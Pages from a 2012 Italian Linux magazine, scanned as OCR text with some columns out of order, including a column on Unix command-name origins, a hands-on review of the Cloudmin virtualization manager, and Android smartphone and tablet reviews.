Controllate prima di accettareLa mia domanda è: avete mai, Mai, MAI letto

quello che c’è scritto in caratteri piccoli in questi

cosiddetti accordi? Oppure avete semplicemente

cercato di liberarvene il più in fretta possibile,

facendo scorrere senza leggerle pagina dopo

pagina di puro legalese per poi spuntare la

casella “Accetto”? Cosa succederebbe se non

aveste notato che, a pagina 27, tra il paragrafo

riservato al divieto di fare reverse engineering

e quello che si occupa del divieto di fare copie,

ce ne fosse uno che vi impone di rinunciare

al vostro primo fi glio? Fare click su una casella

ha davvero implicazioni legali? Nel Mercante

di Venezia Porzia affronta Shylock per difendere

Antonio a proposito della ridicola questione

della “libbra di carne”, ma chi verrà in mia difesa

contro, ad esempio, la potenza dei legali

di Microsoft? Concludo con una confessione:

ho appena installato Ubuntu 12.04. Dato che

installo soltanto long term edition del sistema

di Canonical, questo è il mio primo incontro

con il desktop Unity. E, sapete una cosa? Penso

che davvero non sia male. Lo so che ha avuto

cattiva stampa, quindi dico addio fi n da ora

a quel 30% dei miei lettori che a questo punto

ho senz’altro perso...

Scritte in piccolo

Dr Chris BrownIl Dottore si occupa di formazione, scrittura di articoli e consulenze su Linux. Trova che il suo PhD in fi sica delle particelle non sia di alcun aiuto in questo tipo di lavoro.

Stavo parlando a mia moglie di un paio di studenti dei miei corsi Linux che si sforzavano

di tenere a mente i nomi dei comandi. Lei sosteneva che sarebbe più facile se fossero tutte parole inglesi che descrivono il comando. Non ha tutti i torti. Dopo tutto un sistema in cui shopt dotglob è un comando legale ha qualche spiegazione da dare. Nella versione migliorata di Linux immaginata da mia moglie i comandi classici a due lettere come ls, cp e mv verrebbero espansi in list, copy e move. Francamente penso che sarebbe una cattiva idea. Se convertissimo i nomi dei comandi in parole inglesi, i francesi insisterebbero immediatamente per tradurli. Avremmo cose come dénombrer, copier e déplacer e tutti gli script smetterebbero di funzionare. Ma alcuni dei nomi che incontriamo in Linux sono davvero piuttosto misteriosi. Eccone spiegati alcuni:Δ cat: abbreviazione di catenate, inteso come “unire tra di loro” (in italiano concatenare);Δ grep: il nome proviene da un vecchio editor di linea, ed, in cui il comando equivalente era g/re/p, dove re è l’espressione regolare cercata;Δ crontab: il demone cron (che esegue azioni a orari specifi cati) deve il suo nome a Chronos, il dio del tempo dei greci. Crontab è semplicemente Cron Table;Δ bash: sta per Bourne Again Shell, un gioco di parole dal sapore vagamente religioso che si riferisce alla prima shell scritta da Steve Bourne;Δ dd: si dice che questo strano

Nomina sunt consequentia rerum?Vi siete mai chiesti perché cat si chiami cat? Gettiamo un po’ di luce su alcuni dei più oscuri nomi dei comandi

programma debba il suo nome al linguaggio di Job Control di IBM, un’arcana notazione usata per inviare suppliche a un mainframe affi nché prendesse in considerazione l’esecuzione in batch del vostro job. dd sta per data description;Δ less: un riferimento a un precedente programma chiamato more (più in inglese; less invece signifi ca meno) che consentiva di esaminare riga per riga un fi le di testo. more era in grado di procedere solo in avanti, less invece permette di muoversi in entrambe le direzioni;Δ vi: abbreviazione di visual, in origine era uno dei modi di funzionamento dell’editor di riga ex. Viene pronunciato vi-ai, non vi e assolutamente non sei. Può essere vecchio, ma non si tratta di un numero romano;Δ dig: questo programma serve per eseguire ricerche nel DNS a scopo di test. A volte si dice che il suo nome stia per domain information groper, ma non ne sono convinto (in inglese to dig signifi ca scavare).

Ci sono alcuni nomi di cui si è completamente persa l’etimologia. Perché l’account del superuser è chiamato root (radice in inglese)? Perché l’espansione dei caratteri jolly viene detta globbing? Perché la directory che contiene i fi le di confi gurazione del sistema è chiamata /etc? Perché il gruppo privilegiato era chiamato wheel (ruota)? Se avete la risposta a qualcuna di queste domande mandatemi due righe all’indirizzo [email protected].

Mistero totale

Page 33: LinuxPro-N120_Settembre2012

LINUX PRO 120 35

Sysadmin

Quattro passi tra le nuvole

L’ampia adozione della virtualizzazione e del cloud computing ha creato un enorme aumento del numero di macchine logicamente distinte da amministrare. I fornitori di servizi di hosting e altri grossi utenti si trovano di solito con un portafoglio di sistemi differenti: alcuni sono macchine virtuali ospitate su hardware locale, altri risiedono nelle nuvole EC2 o Rackspace, altri ancora possono addirittura essere dei server fi sici vecchio stile. Non sarebbe bello essere in grado di gestire tutti questi sistemi in maniera uniforme da una singola interfaccia? Certo che lo sarebbe, ovviamente. Cloudmin è una soluzione di questo genere. Per citare il sito Web (www.virtualmin.com/about-cloudmin), “Cloudmin fornisce un’interfaccia Web per la gestione di sistemi diversi, tipicamente sistemi virtuali che utilizzano una tecnologia come Xen o OpenVZ. Un singolo nodo master Cloudmin è in grado di gestire numerosi sistemi host, ognuno dei quali può a sua volta ospitare numerosi sistemi virtuali”. Cloudmin è disponibile in due versioni. Ce n’è una gratuita (Cloudmin GPL) che è limitata alla gestione di macchine virtuali Xen o KVM su di un singolo sistema. Non comprende la gestione di istanze di macchine EC2 e la gestione di sistemi non virtuali (fi sici). C’è poi la versione Pro, in grado di gestire più di un sistema fi sico e numerose tecnologie di virtualizzazione, tra cui Xen, OpenVZ (un sistema di virtualizzazione basato su contenitori che ho descritto il mese scorso), KVM, Linux VServer, Solaris Zones e Amazon EC2. Pur non essendo gratuito, Cloudmin Pro non è troppo costoso. Attualmente è in corso un’offerta a metà prezzo ed è possibile avere una licenza annuale per 50 istanze a 299 dollari, cioè 50 centesimi per istanza al mese. Jamie Cameron, uno degli ideatori di Cloudmin, mi ha gentilmente fornito una licenza di prova della versione Pro, quindi sono in grado di fornirvi un’esperienza di prima mano del prodotto.

InstallazioneLa maniera più semplice per partire con Cloudmin consiste nell’eseguire uno script di installazione automatica che usa i comandi del sistema di gestione dei pacchetti per scaricare il software direttamente dai suoi repository. Ovviamente è quello che ho fatto, cercando come al solito la via che richiede il minimo sforzo. Il sito di Cloudmin raccomanda di usare Red Hat o CentOS, quindi ho cominciato installando CentOS 6.2 su di un server di medie dimensioni (4-core, 8 GB). L’ho confi gurato in maniera più o meno standard, senza desktop, ma ho installato gli strumenti di virtualizzazione, e poi ho lanciato yum update per aggiornare il sistema alle più recenti versioni dei pacchetti. Il passo successivo è consistito nello scaricare e lanciare lo script di installazione di Cloudmin. Lo script è legato alla licenza Cloudmin dell’utente e il link per il download è disponibile solo dopo che è stata emessa la licenza stessa (per la versione GPL la pagina www.virtualmin.com/documentation/cloudmin/gpl contiene tutti i dettagli e il link allo script d’installazione). Lo script installa automaticamente Cloudmin e tutte le sue dipendenze e, se tutto funziona a dovere, non c’è null’altro da fare. Ci sono voluti solo cinque minuti per eseguirlo

e il processo non ha dato il minimo problema. Una volta installato il server, Cloudmin resta in ascolto sulla porta 10000, quindi ho dovuto aprire questa porta sul fi rewall, dopodiché sono stato in grado di visitare con il browser l’URL https://centos62.example.com:10000, eseguire il login come root e vedere la pagina principale di Cloudmin. Se avete a disposizione un supporto fi sico per l’installazione di CentOS , l’intera operazione non richiede più di 30 o 60 minuti. La curva di apprendimento a questo punto risulta però piuttosto ripida: ci sono davvero un sacco di funzionalità da esplorare e parecchia documentazione da leggere. Mi sono posto come obiettivo, che pensavo realistico, la creazione e la gestione di un paio di macchine virtuali basate su KVM sul sistema master e un paio di istanze EC2 sul mio account Amazon Web Services. Una volta installato e lanciato Cloudmin sono passato alla registrazione sul sistema master dell’host che intendevo amministrare. Si è trattato di un’operazione semplicissima, perché stavo usando un singolo server fi sico, quindi il sistema master (su cui gira il software di gestione Cloudmin) e il sistema ospitante (su cui avrei creato le mie istanze di macchina virtuale) erano la stessa macchina fi sica. È possibile però registrare anche altri sistemi ospitanti fi no al limite consentito dalla licenza. Esiste addirittura la possibilità di cercare in rete i potenziali candidati. Seguendo il mio piano ho registrato la macchina come sistema ospitante KVM (è possibile registrare sistemi Xen, Citrix, VServer, Solaris Zones, OpenVZ e LXC). Occorre specifi care un nome di dominio per le macchine ospitate ed è possibile indicare un intervallo di indirizzi IP

Ci sono delle buone guide per Cloudmin, ma non ho trovato nessun link diretto dalla homepage. Per farvi risparmiare tempo in ricerche ecco l’URL da usare: www.virtualmin.com/documentation/cloudmin.

Tip

Cloudmin consente una gestione centralizzata di sistemi virtuali basati su una vasta gamma di differenti tecnologie. Scopriamo come funziona

35

Cloudmin è parente stretto di due altri strumenti di amministrazione di sistema basati sul Web: Webmin e Virtualmin. Webmin (che ho recensito in LXP 118) consiste di un server Web e di un insieme di plug-in che consentono di eseguire da browser un’ampia gamma di attività di confi gurazione del sistema, senza avere a che fare direttamente con i fi le in /etc, usare la riga di comando un editor di testo. Virtualmin è un pannello di controllo per l’hosting Web che permette di gestire domini virtuali, caselle di posta, siti Web, database e applicazioni. Tutti e tre gli strumenti hanno un aspetto molto simile, probabilmente dovuto alla grande quantità di codice Perl a basso livello che hanno in comune.

Il resto della famiglia

Le pagine di Cloudmin non sono belle da vedere, ma funzionali. In questo caso stiamo creando un’istanza di una macchina KVM

Page 34: LinuxPro-N120_Settembre2012

36 LINUX PRO 120

Sysadmin

esistente con solo un paio di click del mouse. Al clone viene assegnato un nuovo nome e un nuovo indirizzo IP, ma per il resto è una copia dell’originale, con lo stesso fi lesystem, la stessa password, gli stessi limiti sulle risorse e lo stesso proprietario. Quindi, tanto per provare, ho creato un clone. La mia prima macchina virtuale usava un semplice login basato su password, ma per la seconda ho deciso di fare le cose per bene e ho creato una coppia di chiavi da usare con SSH. Dal prompt di comandi sul sistema master ho lanciato il comando ssh-keygen per generare la coppia di chiavi che poi ho importato in Cloudmin. Copiando la chiave pubblica all’interno dell’istanza sono poi stato in grado di collegarmi senza usare nessuna password dalla macchina su cui avevo copiato la chiave privata.

Sistema vuotoÈ anche possibile creare un’istanza che è solo un sistema vuoto, cioè che non ha nessun sistema operativo installato sul suo disco virtuale. Quando si sceglie questa opzione occorre specifi care un’immagine di CD o un lettore fi sico di CD-ROM collegato al sistema che verrà usato per installare il sistema operativo. Una volta completata l’installazione il sistema può essere trattato come qualsiasi altra macchina

virtuale di Cloudmin. In linea di principio è possibile installare sistemi operativi diversi da Linux, ma Cloudmin ha una limitata capacita di gestire sistemi del genere. Diamo un’occhiata ad alcune delle funzionalità disponibili per la gestione dei sistemi appena creati. È possibile cambiare la password di login; è possibile clonarli oppure creare un’immagine di sistema che può in seguito essere usata per creare nuove istanze; è possibile installarci sopra Virtualmin o Webmin; è possibile spostarli su un diverso sistema ospitante (o almeno è possibile se avete più di un sistema ospitante!); è possibile riportarli al loro stato iniziale; è possibile aprire un terminale di root (con il browser); è possibile lanciare comandi arbitrari e trasferire fi le in entrambe le direzioni, anche se l’interfaccia per queste operazioni è piuttosto

che la macchina ospitante può assegnare alle istanze quando vengono create. Se vengono usati molti sistemi fi sici occorre un minimo di pianifi cazione per ripartire tra di essi lo spazio degli indirizzi.

Immagini di sistemaA questo punto era tutto pronto per scaricare un’immagine di sistema. Si tratta di un fi le contenente tutti i dati necessari per creare un nuovo sistema virtuale. Di solito si tratta di un archivio tar o un dump del fi lesystem dell’intero sistema operativo virtuale. Quando viene creato un sistema virtuale, l’immagine viene utilizzata per popolare il fi lesystem iniziale del sistema operativo virtuale. Ho scaricato un paio di istanze per KVM: una per CentOS 5.4 e una per Ubuntu 10.10. Le dimensioni delle immagini sono variabili, da circa 200 MB fi no a 1 GB. Sul sito di Cloudmin ne sono elencate 68, anche se questo numero va diviso per tre perché la maggior parte delle immagini è disponibile in tre varianti: una con il solo sistema operativo di base, una con installato Virtualmin GPL e una terza con Virtualmin Pro. Ogni immagine è specifi ca per un sistema di virtualizzazione. Ho contato circa 36 immagini per Xen (o Citrix/Xen), sei per OpenVZ, 11 per KVM e sei per Solaris Zones. Se non c’è un’immagine adatta alle vostre esigenze è possibile crearsene una con gli strumenti forniti da Cloudmin, a partire dal dump di un disco (o di una partizione primaria) di un sistema esistente. Infi ne ho dovuto creare un’istanza di macchina. Come potete vedere dalla schermata di creazione di un nuovo sistema nella pagina precedente, occorre fornire parecchie informazioni di confi gurazione, tra cui il nome dell’host, un gruppo (ne parlerò in seguito), il percorso del fi le con l’immagine di sistema, la password per il login SSH (o una coppia di chiavi), la quantità di memoria e di spazio su disco da allocare all’istanza, l’indirizzo IP e così via. Una volta riempito il modulo ci sono voluti circa 70 secondi per creare l’istanza e installare su di essa l’immagine di sistema. A quanto mi è dato di sapere non è possibile dire “creami dieci istanza come questa” come, per esempio, si può fare con l’interfaccia utente di Amazon Web Services. È però possibile clonare un’istanza

Cloudmin permette all’amministratore master e ai proprietari di creare backup dei sistemi virtuali che girano sotto Xen, OpenVZ, VServer e Solaris Zones (da notare che le due tecnologie che ho scelto per la mia prova, KVM e EC2, non fanno parte della lista). I backup possono essere eseguiti manualmente o pianifi cati a intervalli regolari, di solito una volta al giorno. Un backup comprende il contenuto del fi lesystem del sistema virtuale o delle sue immagini di disco e viene salvato sotto forma di copia compressa dei dischi virtuali (per i sistemi Xen) oppure semplicemente come archivio tar compresso per le altre tecnologie. Cloudmin è in grado di scrivere i fi le di backup in varie locazioni, per mezzo di scp, ftp o di qualsiasi altro sistema che Cloudmin gestisce.

Backup e restore

Il server Cloudmin, in esecuzione sul nodo master, presenta un’interfaccia basata sul Web per gestire istanze virtuali locali e remote

Il browser gira qui

Master Cloudmin Altri sistemi ospitanti gestiti

Istanza EC2

Istanze gestite nella nuvola

Server Cloudmin

Istanza di VM

Istanza EC2

Page 35: LinuxPro-N120_Settembre2012

LINUX PRO 120 37

Sysadmin

Se volete accedere alla potenza di Cloudmin dalla riga di comando (ad esempio per automatizzare qualche attività per mezzo di script) potete usare il comando cloudmin, che vi dà accesso a quasi tutte le funzionalità accessibili attraverso il browser. Ci sono più di 100 sottocomandi, con nomi come clone-system, create-system e delete-system. Se avete installato Cloudmin, il comando cloudmin --helpmostra una lista completa sul terminale.

Dalla riga di comando

elementare. Infi ne è ovviamente possibile metterli in pausa, arrestarli, riavviarli o cancellarli completamente. Finora ho portato a termine metà della mia missione: ho creato tre istanze KVM (una CentOS, una Ubuntu e un clone) e posso eseguire il login su di esse come root. Per completare il resto della missione, cioè creare e gestire istanze di macchine EC2, ci vuole un po’ di copia e incolla per importare le credenziali del mio account AWS in Cloudmin, in modo che sia in grado di accedere all’API di AWS a mio nome. Devo ammetterlo, non me la cavo bene con le chiavi. Sono famoso per essermene andato via per una settimana con le chiavi dell’auto di mia moglie in tasca. Però ho diligentemente importato l’ID del mio account AWS, l’ID della chiave di accesso, la chiave segreta di accesso, il certifi cato X509 e la chiave privata X509. Non è complicato come potrebbe sembrare, dato che la maggior parte delle informazioni è riportata nel menu Security Credentials della console AWS. Come probabilmente saprete se avete già creato un’istanza di macchina Linux su EC2, l’unica forma di autenticazione SSH disponibile è per mezzo di una coppia di chiavi: l’autenticazione con password non è supportata. Occorre quindi creare una coppia di chiavi in EC2, scaricarle sul nodo master di Cloudmin e poi da qui importarle in Cloudmin. Ho avuto qualche diffi coltà con il modulo Create EC2 Instance di Cloudmin. Come per molte cose nella vita, ci sono più maniere per sbagliare che per fare giusto. Quello che ha reso l’operazione particolarmente diffi coltosa è il fatto che, ogni volta che tornavo al modulo per riprovare, dovevo ricominciare da zero a riempire i campi. Questo sembra essere vero in generale per Cloudmin: se la cava bene a verifi care la correttezza dei dati inseriti, ma assolutamente male quando si tratta di ripopolare un modulo per consentire all’utente un secondo tentativo. In un modo o nell’altro alla fi ne ce l’ho fatta. La creazione dell’istanza EC2 e la verifi ca del suo stato via SSH hanno richiesto circa due minuti. Ovviamente creare la seconda è stato molto più facile. È anche possibile importare in Cloudmin istanze EC2 esistenti, ma non ci ho provato. Cosi alla fi ne mi sono ritrovato con sei macchine sotto il controllo di Cloudmin: il nodo master, due istanza ospitate in locale e un clone di una di esse e un paio di istanze EC2. Le potete vedere nella schermata Cloudmin Managed Systems. Missione compiuta!

RiassumendoCloudmin è un sistema notevole. Riesaminando quanto fatto mi sono reso conto di non aver toccato quasi per niente la riga di comando: solo una volta per modifi care le impostazioni del fi rewall e una volta per generare una coppia di chiavi SSH. L’interfaccia utente ha un aspetto un po’ tetro: basterebbero un po’ di grafi ca e qualche icona in più per ravvivarla. In un mondo ideale mi piacerebbe che ci fossero

anche uno o due percorsi guidati per aiutare l’utente nelle operazioni più frequenti. Le capacità di gestire operazioni “di massa” è piuttosto limitata: è possibile dare comandi da eseguire su più sistemi, ed è tutto. Data la potenziale eterogeneità dei sistemi sotto il controllo di Cloudmin forse ci si può aspettare solo questo. Ci sono parecchie funzionalità di Cloudmin che non ho esplorato. Tra queste:Δ Location group: quando viene creata una nuova istanza probabilmente all’utente interessa conoscere la sua collocazione fi sica, anche se magari non gli interessa sapere su quale sistema ospitante sta girando. Un location group è un insieme di sistemi ospitanti che di solito si trovano nella stessa locazione fi sica. Al momento della creazione di un sistema virtuale è possibile sceglierne tra i location group disponibili quello su cui farlo girare. Il nodo che ospiterà il sistema virtuale viene scelto tra i membri del gruppo in base alla disponibilità di memoria libera, di spazio su disco oppure a caso.Δ Host failover group: un failover group è una collezione di sistemi ospitanti che condividono la memoria di massa usata per i sistemi virtuali e quindi possono agire come backup uno dell’altro se uno di essi smette di funzionare. Questo permette di riavviare automaticamente un sistema virtuale su un altro sistema ospitante con lo stesso disco virtuale o fi lesystem nel caso di guasto hardware a uno dei nodi fi sici che compongono il gruppo.Δ System alert: Cloudmin è in grado di monitorare i sistemi gestiti e di inviare allarmi se l’utilizzo delle risorse va al di sopra o al di sotto di soglie specifi cate. È possibile impostare allarmi per singoli sistemi, per tutti i sistemi oppure per sistemi di un dato tipo, come OpenVZ o KVM. Le risorse monitorate comprendono l’utilizzo della CPU, della memoria e lo spazio su disco. Quando si verifi ca un allarme Cloudmin può spedire un messaggio di posta elettronica all’amministratore del nodo master, ai “proprietari” dei sistemi che hanno causato l’allarme oppure a un qualsiasi altro indirizzo specifi cato.Δ System owner: un system owner (proprietario del sistema) è un account limitato di Cloudmin. Quando viene creata un’istanza è possibile assegnarle un system owner: si tratta di un utente che può eseguire il login su Cloudmin, ma che vedrà solo le macchine che gli sono state assegnate. Un system owner ha accesso root a tutte le sue istanze e può riavviarle e persino cancellarle, ma non può eseguire operazioni sui sistemi ospitanti o cambiare le impostazioni globali di confi gurazione. È anche possibile defi nire degli account plan che limitano l’utilizzo di spazio su disco, CPU, memoria e banda. Si può tenere traccia dell’utilizzo delle risorse per periodi di tempo predefi niti e calcolare quanto addebitare al cliente fi nale. Queste funzionalità sono di grande utilità per i fornitori di servizi di hosting che addebitano l’utilizzo dei loro sistemi ai clienti e hanno bisogno di tenere sotto controllo i loro sistemi. LXP

Ho raggiunto il mio obiettivo: sei sistemi gestiti! Un forma limitata di “gestione di massa” è possibile da questa pagina

Page 36: LinuxPro-N120_Settembre2012

Secondo una ricerca appena presentata da Madvertise, società di marketing specializzata

nella pubblicità sui dispositivi mobili, il 2012 verrà ricordato come l’anno in cui i terminali Android hanno raggiunto e nettamente superato i dispositivi iOS per i download dagli store online, almeno in Europa. Da gennaio a marzo, infatti, le app Android scaricate

dal Play Store sono salite da 262 a 381 milioni, mentre quelle iOS sono scese da 290 a 222 milioni. Naturalmente molto dipende dal fatto che le app Android sono più spesso gratuite rispetto a quelle dell’App Store, ma rimane il fatto che la piattaforma principe in questo momento è di gran lunga quella del Play Store di Google. Il titolo più scaricato in assoluto per Android è Fruit Ninja Free con 807.000 download, seguito

da Angry Birds Space con 672.000 e Facebook Messenger con 508.000, tutti gratuiti. Interessante notare che l’app più scaricata in campo iOS è Air Wings con 544.000 download ed è anch’essa gratuita. Insomma il merito va in gran parte ad Android, ma anche la crisi economica che spinge a risparmiare il più possibile ci sta mettendo del suo.

38 LINUX PRO 120

L’angolo di

News, recensioni e guide sul sistema operativo libero per smartphone

Android

App downloads Italia

La top 10 Android

Fruit Ninja Free

Angry Birds Space

Facebook Messenger

Facebook for Android

Viber: Free Calls

Tv film all in one

UNO™ FREE

Temple Run

FPlayer

Tiki Kart 3D

Il trionfo degli androidi Nei primi tre mesi dell’anno in Europa i download di app Android sono aumentati del 50%, quelli di iPhone sono scesi del 20%

Come risulta chiaramente dai dati pubblicati dalla ricerca Madvertise, che abbiamo riportato

qui sopra, chi ha uno smartphone Android è meno propenso a spendere per comprare app e quando vuole a tutti i costi un’app a pagamento, si rivolge sempre più spesso alla pirateria, con tutti i rischi di beccarsi i malware che ne derivano. Questo è talmente vero che Madfi nger Games, una delle più importanti aziende di sviluppo software per dispositivi mobili, la stessa per intenderci che ha realizzato Shadowgun, ha deciso di rendere gratuito uno dei suoi ultimi titoli, Dead Trigger. Il motivo è proprio la pirateria, gli stessi sviluppatori, infatti, hanno dichiarato che la

Meglio gratisSi compra l’hardware, ma non il software…

percentuale di copie contraffatte in circolazione era “imbarazzante”, pur senza fare cifre percentuali. Tutto questo nonostante il gioco costasse solo 0,99 dollari e fosse perciò alla portata di chiunque abbia i soldi per acquistare uno smartphone. Per recuperare almeno in parte i soldi spesi per lo sviluppo, Madfi nger Games ha aumentato gli acquisti in-app, cioè quelli di armi e accessori all’interno della stessa app. Si tratta di una tendenza ormai comune a molte software house che sviluppano per Android, non per niente gli acquisti in-app stanno diventando la loro fonte di guadagno più importante. Interessante notare invece come la versione iOS di Dead Trigger continui a costare 0,99 dollari.

A distanza di sette mesi dalla sua presentazione al CES di Las Vegas, è finalmente disponibile Ascend P1 di Huawei. Il principale produttore di impianti di telecomunicazione in Cina ha realizzato

un terminale veramente interessante, con display Super Amoled HD da 4,3”, spessore di soli 0,76 centimetri e processore dual Core TI OMAP 4460 Cortex-A9 da 1,5 GHz con 1 GB di RAM. Il sistema operativo è Android 4.0 Ice Cream Sandwich ed entro qualche mese dovrebbe essere disponibile anche il nuovo aggiornamento al sistema operativo Jelly Bean. La fotocamera da 8 megapixel è super accessoriata dal punto di vista software, con vere chicche come l’ottimizzazione HDR e la risoluzione video a 1080p. L’unico vero punto debole del terminale è la memoria Flash disponibile, che è di soli 4 GB. Questo significa che dovrete acquistare subito una scheda microSD se non vorrete restare senza spazio dopo poco tempo. Il prezzo al pubblico di 449,00 euro è leggermente superiore alla tradizione Huawei di prezzi stracciati, ma in questo caso è almeno parzialmente giustificato dalla dotazione del terminale. LXP

Il più sottile di tuttiArriva finalmente il nuovo smartphone Android targato Huawei

Page 37: LinuxPro-N120_Settembre2012

LINUX PRO 120 39

Galaxy S3 L’angolo di Android

Samsung Galaxy S3Lo smartphone più atteso dell’anno è finalmente arrivato in redazione, sarà all’altezza delle attese?

Caratteristiche 8.5Prestazioni 9Autonomia 9Qualità/prezzo 7.5

Galaxy S3

Un concentrato di tecnologia dalle ottime prestazioni e con un’autonomia davvero buona. Costa un po’ troppo.

Il voto di Linux Pro

Giudizio

Produttore: SamsungWeb: www.samsung.itPrezzo: € 699,00

8.5

Samsung ha avuto oltre 10 milioni di pre-ordini per Samsung Galaxy S3 e solo questo numero

è suffi ciente per capire quanta attesa ci fosse per il successore del Galaxy S2, che a sua volta è stato il più grande successo del 2011 in campo Android. Naturalmente anche noi lo aspettavamo con curiosità per capire se c’è veramente un salto tecnologico rispetto al predecessore e al Galaxy Nexus.

Poco più grande dell’S2Il modello arrivato in redazione è quello color Pebble Blue con 16 GB di memoria Flash ampliabile a 80 GB via scheda microSD, ma è disponibile anche in bianco e dall’autunno dovrebbe arrivare anche in colore rosso. Per contenere il peso sotto i 130 grammi, Samsung ha utilizzato uno speciale policarbonato che dovrebbe essere tanto leggero quanto resistente, anche se i primi video apparsi sul Web mostrano che cadute da un metro di altezza possono risultare fatali. La struttura, più che al Galaxy S2, assomiglia al più recente Galaxy Nexus, soprattutto per le forme arrotondate della scocca e per la lunghezza di quasi 14 centimetri che impedisce di sistemarlo nel taschino della camicia e richiede tasche di pantalone piuttosto ampie. Questa lunghezza si spiega con il display Super Amoled HD da ben 4,8” che, pur essendo leggermente più grande, utilizza la stessa tecnologia e ha la stessa risoluzione di 1.280x800 pixel del Galaxy Nexus. Le differenze rispetto a quest’ultimo arrivano dal processore che in questo caso è il primo quad core Exynos da 1,4 GHz realizzato dalla stessa Samsung e che surclassa nettamente come prestazioni il precedente modello dual core. Fortunatamente la struttura non è a monoblocco, come vorrebbe la moda del momento, ma con

interruzioni. La seconda invece, nel caso di eventuali chiamate o SMS persi, vi avverte con una vibrazione quando prendete in mano lo smartphone. E poi naturalmente c’è il sistema di riconoscimento vocale S-Voice, la risposta di Samsung al maggiordomo digitale Siri di iPhone. Lo abbiamo provato a fondo e, anche se non siamo ancora ai livelli di comprensione semantica del sistema di Apple, ci sembra sulla buona strada. Il sistema usa la tecnologia sviluppata da Vlingo e funziona molto bene per muoversi all’interno delle tante applicazioni dello smartphone, meno se volete fare delle ricerche mirate sul Web. E soprattutto non ha il proverbiale umorismo di Siri. Il resto della personalizzazione Samsung è di ottimo livello, a partire dai Contatti che possono confl uire con quelli di Facebook e Google+, ma non con quelli di Twitter. Anche la sezione telefonica è di ottima qualità e abbiamo notato un netto miglioramento per quanto riguarda la ricezione del segnale rispetto

la classica cover posteriore che una volta tolta permette di sostituire la pur capiente batteria da 2.100 mAH (sul Web si trova già il modello da 3.000 mAH) e inserire una scheda di memoria microSD. Ma più che sull’hardware, che senza essere rivoluzionario rappresenta comunque lo stato dell’arte per gli smartphone, Samsung per il suo Galaxy S3 ha scommesso sul software. Il sistema operativo con cui viene distribuito Galaxy S3 è Android 4.0 Ice Cream Sandwich, ma nel frattempo Google ha già reso disponibile per i suoi modelli Nexus la versione successiva 4.1 JellyBean, sulla quale i tecnici Samsung stanno già lavorando e che dovrebbe essere pronta entro l’autunno. Il problema con Galaxy S3, e con tutti gli smartphone customizzati dai produttori, è infatti la presenza di un’interfaccia personalizzata pesantemente, che in molti casi diventa una specie di secondo sistema operativo che deve essere modifi cato completamente ogni volta che Google presenta un aggiornamento ad Android.

Il softwareCiò premesso, la nuova interfaccia TouchWiz di Samsung è veramente ben realizzata, a partire dalla lockscreen iniziale completamente confi gurabile e che permette di inserire le scorciatoie per le vostre applicazioni preferite. Ma le vere novità sono le funzioni Smart Stay e Smart Alert. La prima una volta attivata è in grado di capire quando state guardando lo schermo, evitando così di spegnerlo automaticamente e permettendovi per esempio di leggere un e-book senza

al Galaxy S2. È da notare che per l’S3 è richiesto l’uso della microSIM, quindi le SIM tradizionali non vanno bene. La fotocamera è stata poi una gradita sorpresa, visto che permette di realizzare foto di qualità decisamente buona

pur conservando lo stesso sensore da 8

megapixel del modello precedente. Abbiamo

apprezzato soprattutto la

funzione HDR e la velocità di scatto con la

possibilità di catturare fi no a 10 foto al secondo

in modalità “raffi ca”. Anche la fotocamera anteriore da 1,9

megapixel funziona molto bene e soprattutto permette di realizzare video in formato 720p e di effettuare videochat in alta defi nizione. L’autonomia ci ha sorpreso piacevolmente, anche se occorre considerare che la batteria da 2.100 mAH è la più capiente mai vista fi no ad oggi su uno smartphone. Anche con un utilizzo intensivo del telefono che comprende Wi-Fi e 3G sempre attivi, la sincronizzazione con i social, un’ora di navigazione Web, GPS e un paio di telefonate, alla fi ne della giornata avevamo ancora il 25% di autonomia. Questo signifi ca che con un utilizzo più accorto a un paio di giorni ci potete tranquillamente arrivare. Infi ne un commento sul prezzo, 699,00 euro ci sembrano tantissime, ma su Internet è già possibile trovarlo a poco più di 500 euro, una cifra tutto sommato ragionevole per quello che offre. LXP

Il sistema di riconoscimento vocale S-Voice funziona bene anche in ambienti rumorosi, pur se non è evoluto come Siri

Page 38: LinuxPro-N120_Settembre2012

Mediacom SmartPad 820C 3GUn tablet economico con Gingerbread, ma ne vale la pena?

Caratteristiche 6.5Prestazioni 6Facilità d’uso 7.5Qualità/prezzo 4

SmartPad 820C 3G

Ha tutte le cose di base, ma la qualità costruttiva ci lascia perplessi. Manca il cavo Mini HDMI.

Il voto di Linux Pro

Giudizio

Produttore: MediacomWeb: www.mediacomeurope.itPrezzo: € 209,99

5

Il mercato dei tablet è letteralmente esploso e basta fare un giro in un negozio di informatica per

trovare modelli di tutte le fogge e di tutti i prezzi. Certo, i dispositivi più costosi sono anche quelli più attraenti, ma se ci si accontenta ci sono soluzioni economiche comunque utilizzabili per far di tutto o quasi. Un esempio è lo SmartPad 820C 3G di Mediacom. Osservandone le caratteristiche tecniche se ne intuiscono subito le potenzialità: lo schermo da 8’’ a 800x600 pixel consente un utilizzo del tablet come strumento di lettura e di navigazione Web (anche se il browser ogni tanto ha qualche intoppo). Il processore Cortex A8 1 GHz con 512 MB di memoria riesce a mostrarci anche video in HD (1080p) ma con i giochi più moderni può avere qualche diffi coltà. Lo spazio d’archiviazione è di soli 4 GB, si rende quindi quasi indispensabile

(acquistando un cavo compatibile, non presente nella confezione) si può usare il tablet come media center e “sparare” i fi lmati sul televisore; anche questo è un aspetto positivo, visto che il tablet, come già detto, riproduce anche i fi lmati in alta risoluzione. Insomma, apparentemente, con qualche limite, c’è tutto. Ma le nostre perplessità nascono dalla qualità costruttiva: prendendo in mano il tablet si sentono degli scricchiolii che ci fanno dubitare della durata nel tempo del dispositivo (considerando che è pensato per essere portato spesso in giro); non siamo sicuri che il solo acquisto di una custodia risolva il problema. Se poi si pensa che il suo prezzo è di 209,99 euro e che a breve dovrebbe arrivare il Nexus 7 di Google a 40 euro in più, non sappiamo quanto convenga prendere ora l’820C. LXP

